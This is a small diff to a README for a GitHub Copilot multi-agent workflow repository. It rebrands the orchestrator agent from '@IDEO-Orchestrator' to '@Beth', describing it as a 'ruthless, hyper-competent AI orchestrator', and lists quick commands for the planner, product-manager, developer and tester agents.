-This repository demonstrates GitHub Copilot's multi-agent system with custom agents, skills, and handoffs for building IDEO-style digital products.
+A ruthless, hyper-competent AI orchestrator for GitHub Copilot multi-agent workflows.
 
 ## Architecture Overview
 
@@ -189,7 +189,7 @@ export async function deleteUser(userId: string) {
 
 ### Quick Commands
 ```
-@IDEO-Orchestrator Plan a feature for [description]
+@Beth Plan a feature for [description]
 @product-manager Create a PRD for [feature]
 @developer Implement [component/feature]
 @tester Write tests for [component]